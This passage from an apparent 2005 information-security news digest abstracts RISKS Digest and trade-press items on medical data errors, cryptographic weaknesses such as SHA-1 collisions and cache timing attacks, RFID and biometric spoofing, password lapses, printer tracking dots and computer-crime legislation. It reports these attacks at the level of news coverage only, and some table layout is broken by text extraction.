However, in all these cases, the typical hospital political hierarchy sought to turn each of these medical errors into a computer error, lest a human (particularly a Doctor human) be found at fault. While I was grumpy about this at first, I soon realized that there was at least some truth in it, in that more easily understood medical reports, that highlighted and provided some interpretation to key information, and were more widely distributed were in fact improvements worth making to medical systems, and certainly would prevent far more errors than my mistake finding programs would ever find. The problem was however, that as the concept of the electronic medical record began taking shape, resistance to it often cited the end of incident analysis that blamed the computer, rather than the physician or nurse who was primarily at fault. The JAMA cases certainly sound like real problems with the human/computer interface, but they sound suspiciously like the final reports we used to end up on real mistakes made by real humans.

The medical environment is extremely complex, understaffed and wrought with automated and semi automated systems that all can fail or conflict whether they are computerized or not. I routinely saw problems with continuation of standing order dosing long before those standing orders were computerized. Blaming the computer misses the point, even if it does point out how the computer system could be made better.

The risk is one I often see in The Risks Digest: problems with computerized systems seem to get more attention than the usually much greater problems in the existing non-computerized systems.<

2005-12-02	medical blunders risks information systems certification CA	P links	
RISKS; http://tinyurl.com/ayf5m 24		24	11
RISKS OF MEDICAL BLUNDERS			

RISKS moderator Peter Neumann summarizes reports of some serious medical blunders involving bad data:

* In 1999, a 47-year-old woman was diagnosed with breast cancer in Magee-Womens Hospital (part of the U. Pittsburgh Medical Center), and underwent a mastectomy. It was later discovered that the hospital lab had switched biopsy specimens. Ten cases against the hospital are now pending in state courts, even though the hospital has passed federal inspections. Similar lawsuits and complaints name other medical centers.

* In Maryland, a hospital lab sent out hundreds of HIV and hepatitis test results despite data showing that the results might be invalid and mistakenly lead infected patients to believe they were disease-free. The same laboratory had just received a top rating from CAP inspectors.

* In Yakima, Wash., eight emergency room doctors walked off their jobs to protest hospital deficiencies they said included lab mistakes, such as mixed-up blood samples. CAP had declared the lab "in good standing" the year before.

* At the famed Mayo Clinic in Minnesota, an allegedly misdiagnosed gall bladder cancer case led to revelations of a close relationship between the clinic and CAP. A Mayo pathologist serving on a CAP advisory panel twice sought and obtained accreditation renewals despite unacceptable lab practices cited by CAP inspectors.

INFOSEC UPDATE 2005 -- January 5-6, 2006

Category38.AMedical / HIPAA2005-12-13medical systems security disaster recovery backup plan business continuity paperRISKS; http://news.bbc.co.uk/1/hi/england/cambridgeshire/4521608.stm24CAMBRIDGE HOSPITAL BUSINESS CONTINUITY PLANS WORK

RISKS correspondent Paul Bennett reports the following story about medical systems security and disaster recovery:

A computer system at a Cambridge hospital used for patient information such as admissions and discharges experienced some problems because of a fire at the Buncefield oil depot in Hertfordshire. A company providing some IT services to Addenbrooke's Hospital was based at the industrial park near the depot and was destroyed in the fire. It was expected to take a week to get the computer system up again, although reportedly no medical services were affected.

[Abstract by Peter G. Neumann]

Another UK correspondent, Peter Mellor, follows up:

The explosion and fire at the fuel depot near Hemel Hempstead, Hertfordshire: http://images.thetimes.co.uk/TGD/picture/0,,250768,00.jpg

Connection with computers? Well, several nearby installations were wrecked (amazingly, no-one was seriously injured), one of which contained the electronic patient records of Addenbrooke's Hospital, Cambridge. The hospital reported that it would have to rely on paper records for several days until the computer files could be restored.

On the positive side, at least they had back-up. On the other hand, their disaster recovery planning seems to be a bit slack.

[Summary by Karthik Raman]

41 Cryptanalysis techniques & tools

Category 41	Cryptanalysis techniques & tools		
2005-05-17	hyperthreading multiprocessor architecture sha timing attacks encryption weakness cryptanaly	~ 1	cking
RISKS; http://ww	ww.daemonology.net/papers/htt.pdf	23	88

HYPERTHREADING AND SHARED CACHE ALLOW TIMING ATTACKS ON ENCRYPTION KEYS

Olin Sibert reported on public announcements about an unexpected consequence of hyperthreading multiple Intel Pentium 4 processors using shared cache:

Security researcher Colin Percival recently (13 May) announced a security vulnerability caused by the combination of the Hyperthreading and shared cache features of Intel Pentium 4 processors. By carefully measuring the time required for instructions to execute in one thread while the other thread is performing a cryptographic calculation, the secret key can be determined.

. . . .

Sibert concluded, "The RISK here is a classic example of relying on underlying abstractions (the hardware memory model) to behave in an ideal manner, rather than understanding their implementations. Many security flaws result from the adversary breaking the veil of abstraction to look at the soft, juicy parts inside. Even when the higher-level model is perfect (or formally verified), the mapping to implementation can hide a multitude of sins."

>This vulnerability was also announced by Adi Shamir during the Cryptographer's Panel at RSA in February 2005. I thought it was the most interesting item in all the keynotes (although the hash function announcements were a close second), but it got essentially no press coverage (unlike this time, where it is being widely reported). Adi subsequently told me that he had a working implementation and planned to present it at the Eurocrypt rump session next week. The two attack implementations (Colin's and Adi's) are apparently quite different, but yield the same result, underscoring the severity of the problem. It's also similar to Paul Kocher's classic timing attacks.

The problem is particularly bad for processors with simultaneous multithreading ("Hyperthreading"), since that allows context switches to take place at a granularity of individual instructions, and thus allows very fine-grained time measurements. However, the same basic problem is present in any computer with a cache that is physically shared by processes in different security domains.<

42.1 Crypto algorithm weaknesses

Category 42.1	Crypto algorithm weaknesses
2005-02-16	Chinese researchers break compromise SHA-1 secure hash algorithm SHA-256 SHA-
	512 NIST recommendations

DHS IAIP Daily; http://www.eetimes.com/article/showArticle.jhtml?articleId=6 0401254

CHINESE RESEARCHERS CLAIM TO HAVE COMPROMISED SHA-1 HASHING ALGORITHM.

A team of three Chinese researchers claim to have compromised the SHA-1 hashing algorithm at the core of many of today's mainstream security products. Top cryptographers said users can still rely on today's SHA-1-based systems and applications, but next-generation products will need to move to new algorithms. In a panel discussion at the RSA Conference on Tuesday, February 15, Adi Shamir, a celebrated cryptographer and professor at Israel's Weizmann Institute of Science, said he received an e-mail that morning containing a draft technical paper from the research team of Xiaoyun Wang, Lisa Yiqun Yin, and Hongbo Yu who have links to Shandong University in China. The paper described how two separate documents could be manipulated to deliver the same SHA-1 hash with a computation of lower complexity level than previously believed possible. Shamir and others said they believe the work of the Chinese trio will probably be proven to be correct based on their academic reputations, although details of the paper are still under review. Perhaps anticipating the news, the National Institute of Standards and Technology issued a recommendation earlier this month that developers move to SHA-256 and SHA-512 algorithms by 2010.

42.2 Brute-force attacks

Category 42.2	Brute-force attacks
2005-02-01	RFID radio frequency identification device cryptographic weakness crack parallel processing fraud theft gasoline purchase automobile lock
DICIZO 1	

RISKS; http://www.theregister.com/2005/01/31/rfid_crypto_alert/ 23 69 KERCHOFF RULES

Chris Leeson summarized the predictable failure of a proprietary encryption algorithm:

According to an article in *The Register*, the security on RFID devices used in car keys and petrol pump payment systems has been broken (the article actually says "Researchers have discovered cryptographic vulnerabilities in the RFID technology..."

The encryption uses "an unpublished, proprietary cipher that uses a 40-bit key".

The researchers managed to reverse-engineer the system and program a microchip to do the decoding in 10 hours. Using 16 of the chips in parallel reduced the search time to 15 minutes. At about \$200 per chip that's not an expensive brute force attack.

The article notes that although potential criminals could make fraudulent petrol charges and deactivate vehicle immobilisation systems, they would still have top get past physical locks in the car.

Provided that the car has them, of course.

I can't resist quoting from the last two paragraphs:

"The team recommends a program of distributing free metallic sheaths to cover its RFID devices when they are not being used in order to make attacks more difficult.

The company that markets ExxonMobil's SpeedPass system has said it has no knowledge that any fraudulent purchases have ever been made with a cloned version of its device."

The Risks? Well, apart from the fairly obvious security/fraud issues, it does seem to me that this is using technology for technology's sake. When I want to disarm the alarm on my car, I point the remote at it and press the button. I don't need an "always on" control...

Category 42.2 Brute-force attacks

2005-03-30 cryptanalysis evidence encryption massively parallel processing network computing government project criminal investigations

RISKS; http://www.washingtonpost.com/wp-dyn/articles/A6098-2005Mar28.html 23 83

SECRET SERVICE BUILDS DISTRIBUTED NETWORKING ATTACK TOOL FOR CRYPTANALYSIS

Faced with the increasing prevalence of encrypted evidence on computers seized in criminal investigations, the Secret Service has created a massively parallel computing array using 4,000 "of its employees' computers into the 'Distributed Networking Attack' program." Brian Krebs, writing in the Washington Post and abstracted by Peter G. Neumann of RISKS, reported that "The wide availability of powerful encryption software has made evidence gathering a significant challenge for investigators. Criminals can use the software to scramble evidence of their activities so thoroughly that even the most powerful supercomputers in the world would never be able to break into their codes. But the U.S. Secret Service believes that combining computing power with gumshoe detective skills can help crack criminals' encrypted data caches. Taking a cue from scientists searching for signs of extraterrestrial life and mathematicians trying to identify very large prime numbers, the agency best known for protecting presidents and other high officials is tying together its employees' desktop computers in a network designed to crack passwords that alleged criminals have used to scramble evidence of their crimes -- everything from lists of stolen credit card numbers and Social Security numbers to records of bank transfers and e-mail communications with victims and accomplices."

 Category
 42.2
 Brute-force attacks

 2005-11-10
 password cracking service hackers online brute force rainbow tables

 EDUPAGE; http://www.theregister.co.uk/2005/11/10/password_hashes/

NEW SERVICE CRACKS PASSWORDS

Three computer hackers have set up a Web site that offers access--for a fee--to so-called rainbow tables, which are said to allow cracking of most passwords. Computers use codes, or hashes, to conceal user passwords. The creators of the RainbowCrack Online Web site spent two years generating hashes for virtually all possible passwords and storing them in vast tables. With the tables, breaking a password becomes as simple as looking up the hashes and working backwards to the password. Developers of RainbowCrack said the service is not intended for malicious uses but as a tool for network administrators to improve the security of their systems. Security expert Bruce Schneier disagreed, saying he doesn't see any "legitimate business demand" for the service. Philippe Oechslin of Swiss firm Objectif Securite said that system designers can easily incorporate elements into password schemes that add sufficient complexity as to make rainbow tables ineffective in cracking passwords. Schneier said that although such changes are not difficult, very few systems are designed to use them. "A lot of systems are weak," he said. The Register, 10 November 2005

42.3 Crypto product implementation flaws

Category 42.3 Crypto product implementation flaws

2005-01-31 car keys Texas Instruments TI crack immobilizer radio-frequency microchips encryption decryption transponder

NewsScan; http://australianit.news.com.au/articles/0

WHERE DID I PUT MY CAR KEYS?

A research team at Johns Hopkins University has found a way to crack the code used in millions of car keys -- a development that could allow thieves to bypass the security systems on newer car models. The researchers found that the "immobilizer" security system developed by Texas Instruments could be cracked using a relatively inexpensive electronic device that acquires information hidden in the microchips that make the system work. The radio-frequency security system being used in more than 150 million new Fords, Toyotas and Nissans involves a transponder chip embedded in the key and a reader inside the car. If the reader does not recognize the transponder, the car will not start, even if the key inserted in the ignition is the correct one. (The Australian, 31 Jan 2005)

43 I&A products (tokens, biometrics, passwords, Kerberos)

Category 43	I&A products (tokens, biometrics, passwords, Kerberos)		
2005-10-19	Internet banking identification authentication I&A two-factor	or regulators g	government
RISKS; http://tinyurl.com/cfvjm; http://tinyurl.com/dngl4 24 08		08	
FEDS DEMAND TWO-FACTOR AUTHENTICATION FOR INTERNET BANKING			

Federal regulators will require banks to strengthen security for Internet customers through authentication that goes beyond mere user names and passwords, which have become too easy for criminals to exploit. Bank Web sites are expected to adopt some form of "two-factor" authentication by the end of 2006, regulators with the Federal Financial Institutions Examination Council said in a letter to banks last week.

[Abstract by Peter G. Neumann]

43.1 Tokens

Category 43.1 Tokens

2005-02-15 key car house RFID radio freqency identifier hack future prediction

NewsScan; http://www.usatoday.com/tech/news/2005-02-15-nokey-usat_x.htm

A KEYLESS FUTURE

Some luxury vehicles don't have an ignition key slot anymore and residential-door hardware companies are marketing pushbutton entry systems for homes. Kevin Kraus of the door hardware company Schlage says, "In 10 to 20 years, the key will be nothing but a backup device." Cars offering keyless systems include the Lexus GS sport sedan, Cadillac XLR and STS, Mercedes-Benz S-Class and Chevrolet Corvette. Although Johns Hopkins University researchers recently reported they were able to hack their way through radio-frequency security codes on cars, Texas Instruments (one of the makers of radio-frequency equipment) says it has never had a security breach. Gale Johnson, editor of the trade publication Locksmith Ledger comments, "The mechanical key is disappearing. Locksmiths today are a little like a buggy maker in 1900." (USA Today 15 Feb 2005)

Category43.1Tokens2005-02-17identification authentication I&A RFID radio frequency identification device
passport counter-terrorism border security data leakage confidentiality

RISKS; http://www.economist.com/science/displayStory.cfm?story_id=3666171 23 73

HIGH-TECH PASSPORTS ARE NOT WORKING

Yves Bellefeuille reports on an article in _The Economist_:

The usual arguments are made -- the technology isn't reliable, there will be too many false positives, and so on -- but there's also a new argument I hadn't seem before:

"The data on these chips will be readable remotely, without the bearer knowing. And -- gain at America's insistence -- those data will not be encrypted, so anybody with a suitable reader, be they official, commercial, criminal or terrorist, will be able to check a passport holder's details...

"Passport chips are deliberately designed for clandestine remote reading. The ICAO [International Civil Aviation Organisation, a UN agency] specification refers quite openly to the idea of a "walk-through" inspection with the person concerned "possibly being unaware of the operation"."

Apparently, the only country that's ready for the US requirements is Belgium. It's really the *only* country: the US itself won't be able to deal with the passport requirements it's imposing on others by the November 2005 deadline!

Category 43.1	Tokens		
2005-10-15	identification authentication token I&A		
RISKS; http://cingular.com/voicemail_west 24		24	08
HAVING YOUR PHONE IS A CINGULAR TOKEN OF IDENTITY			

Effective 26 Oct 2005, Cingular is switching to a new voicemail system for all its customers. One of the "features" is "Skip Password"--apparently, one will no longer need to enter a password if one has physical access to a handset. The option to continue to use a password will still be available, but "skip password" appears to be the default.

[Abstract by Steve Fenwick]

43.2 Biometrics

Category	43.2	Biometrics		
2005-02-0	01	biometric identification authentication credit card payment sup	oermarket re	tail store
RISKS; h	ttp://news.co	om.com/2100-1029-5559074.html	23	70
BIOMET	RIC PAYMEN	IT SYSTEMS IN SUPERMARKETS		

Monty Solomon extracted an interesting item on biometric I&A from an article by Jo Best:

A supermarket has given its customers the choice of paying by fingerprint at a store in the state of Washington--and has found them surprisingly willing to use the biometric system. U.S. chain Thriftway introduced the system, which uses technology from Pay By Touch, in its store in the Seattle area in 2002. It said it now sees thousands of transactions a month using the payment method. Once people have enrolled in the Pay By Touch system, they have their fingerprint scanned as verification of identity at the checkout. They then choose which credit card they want to pay the bill with, having already registered the credit cards with the store.

Thriftway President Paul Kapioski said rather than shying away from the technology because of concerns about protecting their privacy, customer demand ensured that the biometric payment system made it past the pilot stage. ...

Category 43.2	Biometrics
2005-02-17	password type authentication keystroke dynamics biometrics

NewsScan; http://www.usatoday.com/tech/news/computersecurity/2005-02-17-

typing-biometric_x.htm

YOU ARE WHAT YOU TYPE

Researchers at Louisana Tech and the University of Pennsylvania have come up with a way of incorporating a user's style of typing into his or her system password. One of the researchers explains, "We look at the time between keystrokes, and the time it takes to press a key." It appears that style of typing is as unique as your eye color or speech patterns. Who would have thought it. (AP/USA Today 17 Feb 2005)

Category 43.2	Biometrics
2005-04-04	biometric identification authentication I&A theft fraud amputation automobile security

RISKS; http://www.theregister.co.uk,	2005/04/04/fingerprint_merc_cho	op/ 23 83
--------------------------------------	---------------------------------	-----------

CARJACKERS SWIPE BIOMETRIC MERCEDES, PLUS OWNER'S FINGER

A Malaysian businessman has lost a finger to car thieves impatient to get around his Mercedes' fingerprint security system. Accountant K Kumaran, the BBC reports, had at first been forced to start the S-class Merc, but when the carjackers wanted to start it again without having him along, they chopped off the end of his index finger with a machete.

The fingerprint readers themselves will, like similar devices aimed at the computer or electronic device markets, have a fairly broad tolerance, on the basis that products that stop people using their own cars, computers or whatever because their fingers are a bit sweaty won't turn out to be very popular.

They slow thieves up a tad, many people will find them more convenient than passwords or pin numbers, and as they're apparently `cutting edge' and biometric technology is allegedly `foolproof', they allow their owners to swank around in a false aura of high tech.

And that is exactly where the risks lie, high-tech does not necessarily mean high-security!

At least in sci-fi, fingerprint systems check for a heartbeat or pulse!!!

['Cutting edge', eh? Wow! Incidentally, for many years I've been citing the concept of an amputated finger as a hypothetical way of defeating a poorly designed fingerprint analyzer. It's no longer hypothetical. PGN]

--contributed by Alpha Lau via RISKS

Category 43.2 Biometrics 2005-06-15 US extension biometric passport requirement UK DHS terrorism anti-terrorism civil liberties privacy concerns

EDUPAGE; http://news.com.com/2100-7348_3-5748629.html

U.S. GRANTS ANOTHER EXTENSION TO BIOMETRIC PASSPORTS

In a concession to nearly half of the countries in the Visa Waiver Program, officials from the United States have again extended the deadline for the addition of biometric data to passports. The program allows citizens of 27 countries to visit the Unites States using a passport only--without applying for a visa--for up to 90 days. In an effort to increase security, U.S. authorities said they would require that biometric information be added to passports in participating countries by October 26, 2005. After 13 of the countries in the program said they would miss the deadline, which had already been delayed once, U.S. security officials said countries to add digital photographs by the October deadline. The United States stood to lose potentially billions of dollars spent by tourists and business travelers from those countries if the deadline had not been extended. CNET, 15 June 2005

Category 43.2 Biometrics

2005-12-12 biometric security researchers crack Play-Doh fake fingerprints

DHS IAIP Daily; http://www.pcpro.co.uk/news/81257/researchers-crackbiometri c-security-with-playdoh.html

RESEARCHERS CRACK BIOMETRIC SECURITY WITH PLAY-DOH

Using fake fingerprints, researchers in New York have managed to break nearly all the biometric identification systems they tested. Headed by Clarkson University associate professor of Electrical and Computer Engineering Stephanie C. Schuckers, they used fake fingers made by taking casts of live fingers and using the molds to create copies in Play-Doh. The 60 fake fingers were then tested and were successfully authenticated by the combination of the fingerprint readers and their accompanying software in nine out of every ten attempts. "Digits from cadavers and fake fingers molded from plastic, or even something as simple as Play-Doh or gelatin, can potentially be misread as authentic," Schuckers explained. The team subsequently developed a technique for distinguishing live digits by detecting changing moisture patterns and reduced the false detection rate to less than 10 percent. "Since liveness detection is based on the recognition of physiological activities as signs of life, we hypothesized that fingerprint images from live fingers would show a specific changing moisture pattern due to perspiration but cadaver and spoof fingerprint images would not," Schuckers explained.

Category 43.2 Biometrics

2005-12-16 biometrics face facial recognition NIST fingerprints ID cards specifications federa government draft

EDUPAGE; http://www.fcw.com/article91747-12-16-05-Web

NIST SETS DATA SPECS FOR BIOMETRIC ID CARDS

The National Institute of Standards and Technology (NIST) has established and published biometric data specifications, required for federal ID cards slated for implementation in October 2006. The new specs cover fingerprints and facial image recognition. Comments on the draft specs will be accepted until January 13, 2006.

43.3 Passwords

Category 43.3	Passwords		
2005-08-10	unauthorized use administrator passwords students policy fel- monitoring	ony charges	
RISKS; http://www.v	vired.com/news/technology/0,1282,68480,00.html	24	02

ADMIN PASSWORDS TAPED TO BACKS OF LAPTOPS; STUDENTS FACE FELONY CHARGES

Thirteen high-school students in the Kutztown Area School District (Pennsylvania) face felony charges of tampering with computers after defeating security measures on laptops issued to them by the school district. They used administrator passwords (taped to the backs of the computers) to override Internet filters and download software such as iChat that the district policy forbids. The laptops included an application that allowed district administrators to see what students did with the computers. However, the students modified the monitoring program so that they could see what the administrators did with their computers. The students and their parents argued that the felony charges are unwarranted, but, according to the district, students and parents signed acceptable use policies that clearly state what activities are not allowed and that warn of legal consequences if the policy is violated. The students continued to violate district policies for use of the computers even after detentions, suspensions, and other punishments, according to the district. Only then did school officials contact the police.

[Abstract by Peter G. Neumann]

Category 43.3	Passwords
2005-09-16	password sniffing audio recognition tuning spell-check high accuracy
DHS IAIP Daily;	

http://news.yahoo.com/s/sv/_www12662937;_ylt=AiX.GcAU5Lpn34b ns3op.pus0NUE;_ylu=X3oDMTA3cjE0b2MwBHNIYwM3Mzg-, http://siliconvalley.com

TUNING INTO PASSWORDS

Many people have heard of keyboard sniffing, in which someone sneaks software into your computer and monitors e-mail or documents. There is a new security threat that researchers are warning: keyboard listening. A graduate student in computer science at the University of California-Berkeley, developed a way of making audio recordings of keyboard strokes to see if words and phrases could be deciphered accurately. Using a microphone plugged into a laptop running generic speech recognition and spell-check software, the team was able to associate the sound of individual keys on a keyboard with specific letters and thus figure out what was being written with 96 percent accuracy.

Category 43.3	Passwords
2005-10-21	canonical passwords Joe accounts primitive security elementary errors identification authentication I&A preemption denial of service DoS

RISKS

24 08

CANONICAL PASSWORDS (STILL!)

San Francisco administrators of OARS, Online Assessment Reporting System, issued a generic password (same for all teachers) that left the system wide open to anyone who knew a teacher's user name, because many teachers had not gotten around to changing the password. [Source: Nanette Asimov, *San Francisco Chronicle*, 21 Oct 2005, B2]

Cingular moved its voicemail system over to an AT&T wireless service over the past two weeks. Anyone initializing the account before the legitimate owner can then gain total access to the account. Approximately 26 million Cingular subscribers of the old system are potentially affected. [Source: Ryan Kim, *San Francisco Chronicle*, 21 Oct 2005, C1]

[Abstracts by Peter G. Neumann]

Category 43.3	Passwords			
2005-11-18	passwords authentication plaintext plain text risks sniffing			
RISKS; http://www.infoworld.com/article/05/11/04/45OPsecadvise_1.html		24	11	
RISKS OF PLAINTEXT PASSWORDS				

RISKS contributor Steve Summit points us to a report about the risks of using plaintext passwords. He writes, "[T]he article also makes the point that although the passwords so sniffed are often "unimportant" ones, for services such as mere e-mail access or gambling site logins, people are often known to use their same passwords for these and for their "secure" systems such as Windows network logins."

Mr. Summit additionally recommends security expert Bruce Schneier's newsletter "Crypto-Gram", available at < http://www.schneier.com/crypto-gram.html>

43.6 E-mail authentication (e.g., SPF & SenderID)

Category 43.6	E-mail authentication (e.g., SPF & SenderID)		
e-mail secure transfer delivery receipt confirmation smart card reader electronic digital signature certificate authority			
RISKS; http://www.ynetnews.com/articles/0,7340,L-3073923,00.html 23 8			84

ISRAELIS TO RECEIVE SECURE E-MAIL ADDRESS TO BE USED FOR CONTACTS WITH AUTHORITIES

Shoshanah Forbes expressed skepticism about the proposed "secure e-mail" initiative in Israel:

"The Social-Economic Cabinet approved Sunday a plan put forth by Finance Minister Benjamin Netanyahu to expand Israel's *approachable Government* program. The government also approved the *safe deposit box* program, a system of secure email boxes that would allow government offices to send official permits, signed forms, receipts and messages to businesses and individuals. [...] At first, the system will support forms in text format (TXT, PDF, RTF, HTML, XML), the last two without Active Script. The `safe' will require the recipient to send a `proof of receipt' to the sender. Each sent message will be coded to identify the sender, to allow the recipient to forward the message to a third party, and an expiry date. [...] In order to use the system, individuals and businesses will be required to obtain a smart card, a card reader (estimated cost: NIS 55 or about USD 12), and to register an electronic signature (approximately NIS 20 or about USD 4.5)."

In addition to all the usual RISKS such a scheme brings up, I should note that to this date, the bill paying website (http://www.mybill.co.il) works only with Win/IE, so I won't be surprised if the above setup will also be Win/IE only.

44.1 Crypto algorithms

Category 44.1 Crypto algorithms

2005-02-20

new cryptographic protocol secure wireless network delayed password disclosure Indiana University source code release 2005

DHS IAIP Daily; http://www.newscientist.com/article.ns?id=dn7037

NOVEL CRYPTOGRAPHIC PROTOCOL COULD HELP SECURE WIRELESS COMPUTER NETWORKS.

Markus Jakobsson and Steve Myers of Indiana University demonstrated a new security scheme, dubbed "delayed password disclosure," at the American Association for the Advancement of Science meeting in Washington, DC, on Saturday, February 19. Existing security protocols focus on securing the link between two machines to counteract eavesdropping. But making sure that a computer is connected to a legitimate access point in the first place is also important. If a hacker uses his computer as a fake access point and then relays the messages on to a real one, the information can be stolen covertly. The delayed password disclosure protocol counteracts this threat by allowing both parties to use a pre-arranged password or pin for authentication, but prevents this from being revealed during communications. Jakobsson adds that the scheme would be not be noticed by users, as they are only notified when the wireless link seems suspicious. Computer code for the protocol will be released in the next couple of months and a version for mobile phones should also be ready by the end of 2005.

44.2 Crypto products

Category 44.2 Crypto products

quantum cryptography single photon light beam stop hackers interception key

DHS IAIP Daily;

2005-05-03

http://www.reuters.com/newsSciTech.jhtml;jsessionid=QT1GT4CX50JBYCRBAE ZSFFA

SCIENTISTS CLAIM DEVELOPMENT OF CODE TO STOP HACKERS

Australian scientists believe they have developed an unbreakable information code to stop hackers, using a diamond, a kitchen microwave oven and an optical fiber. Researchers at Melbourne University used the microwave to "fuse" a tiny diamond, just 1/1000th of a millimeter, onto an optical fiber, which could be used to create a single photon beam of light which they say cannot be hacked. Photons are the smallest known particles of light. Until now, scientists could not produce a single-photon beam, thereby narrowing down the stream of light used to transmit information. "When it comes to cryptology, it's not so much of a problem to have a coded message intercepted, the problem is getting the key (to decode it)," said university research fellow James Rabeau, who developed the diamond device. "The single-photon beam makes for an unstealable key."

Category 44.2 Crypto products 2005-07-26 VoIP voice over IP Internet telephony surveillance snooping confidentiality data leakage fraud encryption protection defense

RISKS; http://www.wired.com/news/technology/0,1282,68306,00.html 23 95

PHIL ZIMMERMANN TACKLES VoIP SECURITY

First there was PGP e-mail. Then there was PGP fone for modems. Now Phil Zimmermann, creator of the wildly popular Pretty Good Privacy e-mail encryption program, is debuting his new project, which he hopes will do for internet phone calls what PGP did for e-mail. Zimmermann has developed a prototype program for encrypting voice over internet protocol, or VOIP, which he will announce at the BlackHat security conference in Las Vegas this week.

Like PGP and PGPfone, which he created as human rights tools for people around the world to communicate without fear of government eavesdropping, Zimmermann hopes his new program will restore some of the civil liberties that have been lost in recent years and help businesses shield themselves against corporate espionage.

[Extract from article by Kim Zetter in Wired News]

44.3 Steganography

includes no encryption.) There are of course various slippery-slope privacy issues.

Category 44.3	Steganography			
2005-10-21	steganography printer identification tracking surveillance criminal investigation identification originator			
RISKS; http://tinyurl.com/d9axy; http://www.eff.org/Privacy/printers/docucolor/		24	08	
PRINTER STEGANO	OGRAPHY			
Many color printers (Xerox, HP, etc.) add barely visible yellow dots that encode printer serial numbers and time stamps (down to the minute). Intended primarily to combat counterfeiters, the purportedly "secret" steganographic code in color printer				

copies has now been decoded by four people at the Electronic Frontier Foundation. (The encoding is straightforward, and

[Abstract by Peter G. Neumann]

[MK adds: Such tracking information may be helpful in criminal investigation of threats sent through printed documents or frauds involving such documents. In countries with repressive regimes, it may be used by authorities to track down publishers of samizdat (unauthorized newsletters). In corporations, it may be used to identify anonymous whistleblowers.]

45.7 Sales taxes on Internet commerce

Category 45.7 Sales taxes on Internet commerce

2005-01-07 taxes LA Los Angeles Internet lawsuit scam theft embezzlement

NewsScan; http://www.usatoday.com/tech/news/2005-01-06-travel-suit_x.htm

L.A. SUES INTERNET TRAVEL SITES FOR ROOM TAXES

The city of Los Angeles is suing Internet travel sites Travelocity, Hotwire, Priceline, Expedia and Orbitz for failing to pay millions of dollars in hotel room taxes. The way it works is this: the travel sites negotiate discount rates for bulk purchase of rooms, mark up the rates for online sales of individual rooms, and then pay the city taxes on the negotiated rates rather than on the marked-up rates. A spokesperson for the city says, "The Web sites can't have it both ways. They can't charge consumers taxes based on retail price but give back to the city only part of the money." The defendants call the allegations in the lawsuit are "entirely without merit." (AP/USA Today 7 Jan 2005)

Category 45.7 Sales taxes on Internet commerce 2005-01-28 Internet sales tax state online purchases tracking software registration merchants surveillance

NewsScan; http://www.washingtonpost.com/wp-dyn/articles/A44057-2005Jan28.html

PLANS FOR TAXING THE INTERNET

Forty state governments and the District of Columbia have issued bids from technology companies to design the software and Web-based networks for tracking online purchases and processing sales tax payments. Technology and consulting companies hoping to work on the project include Accenture, EDS, KPMG and PriceWaterhouseCoopers, along with software companies Taxware, Tax Matrix Technologies, and Vertex. Maureeen Riehl of the National Retail Federation notes: "A lot of businesses said they didn't want anyone running the registration system who could use the information as an opportunity to go after merchants for other things." (Washington Post 28 Jan 2005)

Category 45.7 Sales taxes on Internet commerce

2005-12-14 Internet phone VoIP tax FCC Universal Service Fund USF

EDUPAGE; http://news.zdnet.com/2100-1035_22-5995488.html

FCC CHAIR PUSHES NEW INTERNET PHONE TAX

Chairman Kevin Martin said that imposing new taxes on more Internet phone users will probably be a priority next year for the FCC. The issue arose with regard to the Universal Service Fund (USF), which subsidizes services in rural and other high-cost areas, schools, and libraries. Long-distance, pay, wireless, and regular telephone services pay into the fund. Not determined are how such taxes will affect voice over Internet protocol (VoIP) providers and other telecommunications services. Some of the companies that provide VoIP services already contribute to the USF, but no regulations require such participation. "We need to move to collection for the Universal Service Fund that is technology-neutral," said Martin. Congress also is expected to address changes to universal service reform in 2006. ZDNet, 14 December 2005

45.8 E-commerce laws

Category 45.8 E-commerce laws

2005-01-06 Canada Internet prescription drug sales ban proposal law legislation pharmacies

NewsScan; http://www.latimes.com/technology/ats-ap_technology16jan06

CANADA CONSIDERS BAN OF INTERNET DRUG SALES

Canadian health officials have drafted a proposal that would ban Internet sales of prescription drugs to U.S. consumers and effectively destroy a \$700 million industry that has become increasingly popular with patients in search of cheaper medicine. Within Canada's socialized medical system, the Canadian government sets drug prices lower than those charged in the U.S., and Canadian doctors now co-sign prescriptions for U.S. patients without examining them in person. The new proposal would prohibit prescriptions for foreigners who are not present in Canada. (AP/Los Angeles Times 6 Jan 2005)

47 US computer-crime laws

Category 47 US computer-crime laws

2005-05-23 spyware malicious code House of Representatives bill

EDUPAGE; http://news.com.com/2100-1028_3-5717658.html

HOUSE TAKES TWO STEPS AGAINST SPYWARE

The House of Representatives overwhelmingly passed two separate bills this week designed to address the growing problem of spyware. HR 29, introduced by Mary Bono (R-Calif.), would impose stiff fines on anyone found guilty of distributing computer code that results in browser hijacking, modifying bookmarks, collecting personal information without permission, and disabling security mechanisms. Violators can be fined as much as \$3 million per incident. One of only four Representatives who voted against Bono's bill, Zoe Lofgren (D-Calif.) had introduced another bill, HR 744, that also prohibits installing spyware. Lofgren's bill, which passed 395 to 1, would impose fines and jail time to anyone found guilty. Both bills now go to the Senate, which failed to act on a spyware bill sent by the House last year. Senators have said they will not allow a similar situation this year. CNET, 23 May 2005

48.2 Non-US computer-crime laws

Category 48.2	Non-US computer-crime laws
2005-10-27	international anti-terror law France Internet activity cybercafe Internet connection data log

DHS IAIP Daily;

http://news.yahoo.com/s/afp/20051027/tc_afp/internetqaedaatt acks;_ylt=Am7lXspeLmQoK7GhZWLisvr6VbIF;_ylu=X3oDMTBjMHVqMTQ4 BHNlYwN5bnN1YmNhdA--

PROPOSED ANTI-TERROR LAW IN FRANCE SEEKS TO CURTAIL TERRORIST ACTIVITY CARRIED OUT ON THE INTERNET

One provision in the proposed law extends the period for which cybercafes have to keep records of Internet connection data. One method of cyber-jihad is the "dead letter box" system, wherein someone creates an e-mail account, gives the password to several members of a group and communicates by saving messages in a draft messages folder without sending them. This type of communication often cannot be monitored because government systems for tracking e-mails work only if someone sends an e-mail. Rebecca Givner-Forbes, an intelligence analyst at the Terrorism Research Center states that those behind some Websites promoting terrorism "...often use Japanese and Chinese upload Web pages because they don't ask for an e-mail address or any information from the person uploading a file." She says the most common method used by terrorist Websites is password-protected online message boards that only members can use. According to Givner-Forbes, "Most recently they have been leveraging the net more and more to circulate terrorist tactical instructions, training manuals, explosives recipes."

Category 48.2 Non-US computer-crime laws

2005-12-02 EU European anti-terror law e-mail phone call log

DHS IAIP Daily; http://www.siliconvalley.com/mld/siliconvalley/news/editoria l/13312628.htm

